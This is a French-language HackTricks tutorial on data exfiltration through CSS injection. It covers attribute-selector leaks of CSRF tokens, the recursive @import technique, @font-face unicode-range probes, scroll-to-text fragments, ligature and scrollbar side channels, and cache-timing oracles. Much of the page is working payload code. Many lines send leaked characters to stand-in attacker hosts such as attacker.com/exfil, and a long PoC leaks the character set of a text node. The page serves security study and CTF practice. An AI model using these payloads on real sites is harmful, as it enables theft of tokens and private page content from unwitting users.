.. | ||
css-injection-code.md | ||
README.md |
Injection CSS
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Vous travaillez dans une entreprise de cybersécurité ? Vous voulez voir votre entreprise annoncée dans HackTricks ? ou vous voulez avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFTs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.
Injection CSS
Sélecteur d'attribut
La principale technique pour exfiltrer des informations via l'injection CSS consiste à essayer de faire correspondre un texte avec CSS et dans le cas où ce texte existe, charger une ressource externe, comme :
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
Cependant, notez que cette technique ne fonctionnera pas si, dans l'exemple, l'entrée du nom csrf est de type hidden (et elles le sont généralement), car l'arrière-plan ne se chargera pas.
Cependant, vous pouvez contourner cet obstacle en faisant en sorte que, au lieu de faire charger un arrière-plan à l'élément caché, tout ce qui suit charge l'arrière-plan :
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
Voici un exemple de code pour exploiter cela : https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e
Prérequis
- L'injection CSS doit permettre des charges utiles suffisamment longues.
- Capacité à encadrer la page pour déclencher la réévaluation CSS des charges utiles nouvellement générées.
- Capacité à utiliser des images hébergées à l'extérieur (peut être bloqué par CSP).
@import
La technique précédente présente quelques inconvénients, vérifiez les prérequis. Vous devez soit être capable d'envoyer plusieurs liens à la victime, soit être capable d'encadrer la page vulnérable à l'injection CSS.
Cependant, il existe une autre technique astucieuse qui utilise @import
CSS pour améliorer la qualité de la technique.
Cela a été d'abord démontré par Pepe Vila et cela fonctionne comme suit :
Au lieu de charger la même page encore et encore avec des dizaines de charges utiles différentes à chaque fois (comme dans la technique précédente), nous allons charger la page une seule fois et uniquement avec une importation vers le serveur de l'attaquant (c'est la charge utile à envoyer à la victime) :
@import url('//attacker.com:5001/start?');
- L'importation va recevoir un script CSS de la part des attaquants et le navigateur va le charger.
- La première partie du script CSS que l'attaquant enverra est un autre
@import
vers le serveur des attaquants. - Le serveur des attaquants ne répondra pas encore à cette demande, car nous voulons divulguer certains caractères, puis répondre à cette importation avec la charge utile pour divulguer les suivants.
- La deuxième partie, plus importante, de la charge utile sera une charge utile de fuite de sélecteur d'attribut.
- Cela enverra au serveur des attaquants le premier caractère du secret et le dernier.
- Une fois que le serveur des attaquants a reçu le premier et le dernier caractère du secret, il répondra à l'importation demandée à l'étape 2.
- La réponse sera exactement la même que les étapes 2, 3 et 4, mais cette fois-ci, elle essaiera de trouver le deuxième caractère du secret, puis l'avant-dernier.
L'attaquant suivra cette boucle jusqu'à ce qu'il parvienne à divulguer complètement le secret.
Vous pouvez trouver le code original de Pepe Vila pour exploiter cela ici ou vous pouvez trouver presque le même code mais commenté ici.
{% hint style="info" %} Le script essaiera de découvrir 2 caractères à chaque fois (du début et de la fin) car le sélecteur d'attribut permet de faire des choses comme :
/* value^= to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
/* value$= to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
Cela permet au script de divulguer le secret plus rapidement. {% endhint %}
{% hint style="warning" %}
Parfois, le script ne détecte pas correctement que le préfixe + suffixe découvert est déjà le drapeau complet et il continuera vers l'avant (dans le préfixe) et vers l'arrière (dans le suffixe) et à un moment donné, il se bloquera.
Pas de soucis, vérifiez simplement la sortie car vous pouvez y voir le drapeau.
{% endhint %}
Autres sélecteurs
D'autres façons d'accéder aux parties du DOM avec des sélecteurs CSS :
.class-to-search:nth-child(2)
: Cela recherchera le deuxième élément avec la classe "class-to-search" dans le DOM.- Sélecteur
:empty
: Utilisé par exemple dans ce writeup** :**
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
XS-Search basé sur les erreurs
Référence : Attaque basée sur CSS : Abus de la plage unicode-range de @font-face, PoC XS-Search basé sur les erreurs par @terjanq
En gros, l'idée principale est d'utiliser une police personnalisée provenant d'un point de terminaison contrôlé par nous dans un texte qui ne sera affiché que si la ressource ne peut pas être chargée.
<!DOCTYPE html>
<html>
<head>
<style>
@font-face{
font-family: poc;
src: url(http://ourenpoint.com/?leak);
unicode-range:U+0041;
}
#poc0{
font-family: 'poc';
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
Mise en forme du fragment de texte défilant
Lorsqu'un fragment d'URL cible un élément, la pseudo-classe :target
peut être utilisée pour le sélectionner, mais ::target-text
ne correspond à rien. Elle ne correspond qu'au texte lui-même ciblé par le [fragment].
Par conséquent, un attaquant pourrait utiliser le fragment de texte défilant et si quelque chose est trouvé avec ce texte, nous pouvons charger une ressource (via l'injection HTML) depuis le serveur de l'attaquant pour l'indiquer :
:target::before { content : url(target.png) }
Un exemple de cette attaque pourrait être :
{% code overflow="wrap" %}
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
{% endcode %}
Ce qui abuse d'une injection HTML en envoyant le code:
{% code overflow="wrap" %}
<style>:target::before { content : url(http://attackers-domain/?confirmed_existence_of_Administrator_username) }</style>
{% endcode %}
avec le fragment scroll-to-text : #:~:text=Administrateur
Si le mot Administrateur est trouvé, la ressource indiquée sera chargée.
Il existe trois principales mesures d'atténuation :
- STTF ne peut correspondre qu'à des mots ou des phrases sur une page web, ce qui rend théoriquement impossible la fuite de secrets ou de jetons aléatoires (à moins de diviser le secret en paragraphes d'une seule lettre).
- Il est limité aux contextes de navigation de premier niveau, il ne fonctionnera donc pas dans un iframe, rendant l'attaque visible pour la victime.
- Un geste d'activation de l'utilisateur est nécessaire pour que STTF fonctionne, donc seules les navigations qui résultent d'actions de l'utilisateur sont exploitables, ce qui réduit considérablement la possibilité d'automatiser l'attaque sans interaction de l'utilisateur. Cependant, il existe certaines conditions que l'auteur de l'article de blog ci-dessus a découvertes qui facilitent l'automatisation de l'attaque. Un autre cas similaire sera présenté dans la preuve de concept n°3.
- Il existe quelques contournements pour cela, comme l'ingénierie sociale, ou forcer les extensions de navigateur courantes à interagir.
Pour plus d'informations, consultez le rapport original : https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/
Vous pouvez vérifier une exploitation utilisant cette technique pour un CTF ici.
@font-face / unicode-range
Vous pouvez spécifier des polices externes pour des valeurs unicode spécifiques qui ne seront collectées que si ces valeurs unicode sont présentes sur la page. Par exemple :
<style>
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range:U+0041;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range:U+0042;
}
@font-face{
font-family:poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range:U+0043;
}
#sensitive-information{
font-family:poc;
}
</style>
<p id="sensitive-information">AB</p>htm
Lorsque vous accédez à cette page, Chrome et Firefox récupèrent "?A" et "?B" car le nœud de texte des informations sensibles contient les caractères "A" et "B". Mais Chrome et Firefox ne récupèrent pas "?C" car il ne contient pas "C". Cela signifie que nous avons pu lire "A" et "B".
Exfiltration de nœud de texte (I) : ligatures
Référence : Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację
Nous pouvons extraire le texte contenu dans un nœud avec une technique qui combine les ligatures de police et la détection des changements de largeur. L'idée principale derrière cette technique est la création de polices qui contiennent une ligature prédéfinie avec une taille élevée et l'utilisation des changements de taille comme oracle.
Les polices peuvent être créées sous forme de polices SVG, puis converties en woff avec fontforge. En SVG, nous pouvons définir la largeur d'un glyphe via l'attribut horiz-adv-x, nous pouvons donc construire quelque chose comme <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>
, où XY est une séquence de deux caractères. Si la séquence existe, elle sera rendue et la taille du texte changera. Mais... comment pouvons-nous détecter ces changements ?
Lorsque l'attribut white-space est défini comme nowrap, il force le texte à ne pas se rompre lorsqu'il dépasse la largeur du parent. Dans cette situation, une barre de défilement horizontale apparaîtra. Et nous pouvons définir le style de cette barre de défilement, nous pouvons donc en faire fuiter quand cela se produit :).
body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://ourendpoint.com/?leak); }
À ce stade, l'attaque est claire :
- Créer des polices pour la combinaison de deux caractères avec une largeur énorme
- Détecter la fuite via l'astuce de la barre de défilement
- En utilisant la première ligature divulguée comme base, créer de nouvelles combinaisons de 3 caractères (en ajoutant des caractères avant / après)
- Détecter la ligature de 3 caractères.
- Répéter jusqu'à divulguer tout le texte
Nous avons encore besoin d'une méthode améliorée pour commencer l'itération car <meta refresh=...
est suboptimal. Vous pouvez utiliser l'astuce CSS @import pour optimiser l'exploit.
Exfiltration de nœud de texte (II) : divulgation de l'ensemble de caractères avec une police par défaut (sans nécessiter de ressources externes)
Référence : PoC utilisant Comic Sans par @Cgvwzq & @Terjanq
Cette astuce a été publiée dans ce fil de discussion Slackers. L'ensemble de caractères utilisé dans un nœud de texte peut être divulgué en utilisant les polices par défaut installées dans le navigateur : aucune police externe - ou personnalisée - n'est nécessaire.
La clé est d'utiliser une animation pour agrandir la largeur de la div de 0 jusqu'à la fin du texte, la taille d'un caractère à chaque fois. En faisant cela, nous pouvons "diviser" le texte en deux parties : un "préfixe" (la première ligne) et un "suffixe", de sorte que chaque fois que la div augmente sa largeur, un nouveau caractère passe du "suffixe" au "préfixe". Quelque chose comme :
C
ADB
CA
DB
CAD
B
CADB
Lorsqu'un nouveau caractère passe à la première ligne, l'astuce de plage unicode est utilisée pour détecter le nouveau caractère dans le préfixe. Cette détection est effectuée en changeant la police en Comic Sans, dont la hauteur est supérieure, de sorte qu'une barre de défilement verticale est déclenchée (divulgant la valeur du caractère). De cette manière, nous pouvons divulguer chaque caractère différent une fois. Nous pouvons détecter si un caractère est répété, mais pas quel caractère est répété.
{% hint style="info" %}
Essentiellement, la plage unicode est utilisée pour détecter un caractère, mais comme nous ne voulons pas charger une police externe, nous devons trouver un autre moyen.
Lorsque le caractère est trouvé, il est attribué à la police Comic Sans préinstallée, ce qui agrandit le caractère et déclenche une barre de défilement qui divulguera le caractère trouvé.
{% endhint %}
Vérifiez le code extrait du PoC :
/* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@font-face{font-family:has_B;src:local('Comic Sans MS');unicode-range:U+42;font-style:monospace;}
@font-face{font-family:has_C;src:local('Comic Sans MS');unicode-range:U+43;font-style:monospace;}
@font-face{font-family:has_D;src:local('Comic Sans MS');unicode-range:U+44;font-style:monospace;}
@font-face{font-family:has_E;src:local('Comic Sans MS');unicode-range:U+45;font-style:monospace;}
@font-face{font-family:has_F;src:local('Comic Sans MS');unicode-range:U+46;font-style:monospace;}
@font-face{font-family:has_G;src:local('Comic Sans MS');unicode-range:U+47;font-style:monospace;}
@font-face{font-family:has_H;src:local('Comic Sans MS');unicode-range:U+48;font-style:monospace;}
@font-face{font-family:has_I;src:local('Comic Sans MS');unicode-range:U+49;font-style:monospace;}
@font-face{font-family:has_J;src:local('Comic Sans MS');unicode-range:U+4a;font-style:monospace;}
@font-face{font-family:has_K;src:local('Comic Sans MS');unicode-range:U+4b;font-style:monospace;}
@font-face{font-family:has_L;src:local('Comic Sans MS');unicode-range:U+4c;font-style:monospace;}
@font-face{font-family:has_M;src:local('Comic Sans MS');unicode-range:U+4d;font-style:monospace;}
@font-face{font-family:has_N;src:local('Comic Sans MS');unicode-range:U+4e;font-style:monospace;}
@font-face{font-family:has_O;src:local('Comic Sans MS');unicode-range:U+4f;font-style:monospace;}
@font-face{font-family:has_P;src:local('Comic Sans MS');unicode-range:U+50;font-style:monospace;}
@font-face{font-family:has_Q;src:local('Comic Sans MS');unicode-range:U+51;font-style:monospace;}
@font-face{font-family:has_R;src:local('Comic Sans MS');unicode-range:U+52;font-style:monospace;}
@font-face{font-family:has_S;src:local('Comic Sans MS');unicode-range:U+53;font-style:monospace;}
@font-face{font-family:has_T;src:local('Comic Sans MS');unicode-range:U+54;font-style:monospace;}
@font-face{font-family:has_U;src:local('Comic Sans MS');unicode-range:U+55;font-style:monospace;}
@font-face{font-family:has_V;src:local('Comic Sans MS');unicode-range:U+56;font-style:monospace;}
@font-face{font-family:has_W;src:local('Comic Sans MS');unicode-range:U+57;font-style:monospace;}
@font-face{font-family:has_X;src:local('Comic Sans MS');unicode-range:U+58;font-style:monospace;}
@font-face{font-family:has_Y;src:local('Comic Sans MS');unicode-range:U+59;font-style:monospace;}
@font-face{font-family:has_Z;src:local('Comic Sans MS');unicode-range:U+5a;font-style:monospace;}
@font-face{font-family:has_0;src:local('Comic Sans MS');unicode-range:U+30;font-style:monospace;}
@font-face{font-family:has_1;src:local('Comic Sans MS');unicode-range:U+31;font-style:monospace;}
@font-face{font-family:has_2;src:local('Comic Sans MS');unicode-range:U+32;font-style:monospace;}
@font-face{font-family:has_3;src:local('Comic Sans MS');unicode-range:U+33;font-style:monospace;}
@font-face{font-family:has_4;src:local('Comic Sans MS');unicode-range:U+34;font-style:monospace;}
@font-face{font-family:has_5;src:local('Comic Sans MS');unicode-range:U+35;font-style:monospace;}
@font-face{font-family:has_6;src:local('Comic Sans MS');unicode-range:U+36;font-style:monospace;}
@font-face{font-family:has_7;src:local('Comic Sans MS');unicode-range:U+37;font-style:monospace;}
@font-face{font-family:has_8;src:local('Comic Sans MS');unicode-range:U+38;font-style:monospace;}
@font-face{font-family:has_9;src:local('Comic Sans MS');unicode-range:U+39;font-style:monospace;}
@font-face{font-family:rest;src: local('Courier New');font-style:monospace;unicode-range:U+0-10FFFF}
div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}
div.leak::first-line{
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}
/* iterate over all chars */
@keyframes trychar {
0% { font-family: rest; } /* delay for width change */
5% { font-family: has_A, rest; --leak: url(?a); }
6% { font-family: rest; }
10% { font-family: has_B, rest; --leak: url(?b); }
11% { font-family: rest; }
15% { font-family: has_C, rest; --leak: url(?c); }
16% { font-family: rest }
20% { font-family: has_D, rest; --leak: url(?d); }
21% { font-family: rest; }
25% { font-family: has_E, rest; --leak: url(?e); }
26% { font-family: rest; }
30% { font-family: has_F, rest; --leak: url(?f); }
31% { font-family: rest; }
35% { font-family: has_G, rest; --leak: url(?g); }
36% { font-family: rest; }
40% { font-family: has_H, rest; --leak: url(?h); }
41% { font-family: rest }
45% { font-family: has_I, rest; --leak: url(?i); }
46% { font-family: rest; }
50% { font-family: has_J, rest; --leak: url(?j); }
51% { font-family: rest; }
55% { font-family: has_K, rest; --leak: url(?k); }
56% { font-family: rest; }
60% { font-family: has_L, rest; --leak: url(?l); }
61% { font-family: rest; }
65% { font-family: has_M, rest; --leak: url(?m); }
66% { font-family: rest; }
70% { font-family: has_N, rest; --leak: url(?n); }
71% { font-family: rest; }
75% { font-family: has_O, rest; --leak: url(?o); }
76% { font-family: rest; }
80% { font-family: has_P, rest; --leak: url(?p); }
81% { font-family: rest; }
85% { font-family: has_Q, rest; --leak: url(?q); }
86% { font-family: rest; }
90% { font-family: has_R, rest; --leak: url(?r); }
91% { font-family: rest; }
95% { font-family: has_S, rest; --leak: url(?s); }
96% { font-family: rest; }
}
/* augmenter la largeur caractère par caractère, c'est-à-dire ajouter un nouveau caractère au préfixe */
@keyframes loop {
0% { width: 0px }
1% { width: 20px }
2% { width: 40px }
3% { width: 60px }
4% { width: 80px }
4% { width: 100px }
5% { width: 120px }
6% { width: 140px }
7% { width: 0px }
}
div::-webkit-scrollbar {
background: blue;
}
/* canal secondaire */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}
Exfiltration de nœud de texte (III) : fuite du jeu de caractères avec une police par défaut en masquant des éléments (sans nécessiter de ressources externes)
Référence : Cela est mentionné comme une solution infructueuse dans cet article
Ce cas est très similaire au précédent, cependant, dans ce cas, l'objectif de rendre certains caractères plus grands que d'autres est de masquer quelque chose comme un bouton pour qu'il ne soit pas pressé par le bot ou une image qui ne sera pas chargée. Ainsi, nous pourrions mesurer l'action (ou l'absence d'action) et savoir si un caractère spécifique est présent dans le texte.
Exfiltration de nœud de texte (III) : fuite du jeu de caractères par le temps de cache (sans nécessiter de ressources externes)
Référence : Cela est mentionné comme une solution infructueuse dans cet article
Dans ce cas, nous pourrions essayer de dévoiler si un caractère est présent dans le texte en chargeant une fausse police provenant de la même origine :
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}
S'il y a une correspondance, la police sera chargée depuis /static/bootstrap.min.css?q=1
. Bien qu'elle ne se charge pas avec succès, le navigateur devrait la mettre en cache, et même s'il n'y a pas de cache, il y a un mécanisme de réponse 304 non modifiée, donc la réponse devrait être plus rapide que d'autres choses.
Cependant, si la différence de temps entre la réponse mise en cache et celle qui n'est pas mise en cache n'est pas suffisamment grande, cela ne sera pas utile. Par exemple, l'auteur mentionne : Cependant, après des tests, j'ai constaté que le premier problème est que la vitesse n'est pas très différente, et le deuxième problème est que le bot utilise le drapeau disk-cache-size=1
, ce qui est vraiment réfléchi.
Exfiltration de nœud de texte (III) : fuite du jeu de caractères en mesurant le temps de chargement de centaines de "polices" locales (ne nécessitant pas de ressources externes)
Référence : Cela est mentionné comme une solution infructueuse dans cette explication
Dans ce cas, vous pouvez indiquer au CSS de charger des centaines de fausses polices depuis la même origine lorsqu'une correspondance se produit. De cette façon, vous pouvez mesurer le temps que cela prend et découvrir si un caractère apparaît ou non avec quelque chose comme :
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1),
url(/static/bootstrap.min.css?q=2),
....
url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}
Et le code du bot ressemble à ceci :
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)
Donc, en supposant que la police ne corresponde pas, le temps de réponse lors de la visite du bot devrait être d'environ 30 secondes. S'il y a une correspondance, une série de requêtes sera envoyée pour obtenir la police, et le réseau aura toujours quelque chose, il faudra donc plus de temps pour atteindre la condition d'arrêt et obtenir la réponse. Ainsi, le temps de réponse peut indiquer s'il y a une correspondance.
Références
- https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e
- https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b
- https://infosecwriteups.com/exfiltration-via-css-injection-4e999f63097d
- https://x-c3ll.github.io/posts/CSS-Injection-Primitives/
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou voulez-vous avoir accès à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT !
- Découvrez The PEASS Family, notre collection exclusive de NFT
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de piratage en soumettant des PR au repo hacktricks et au repo hacktricks-cloud.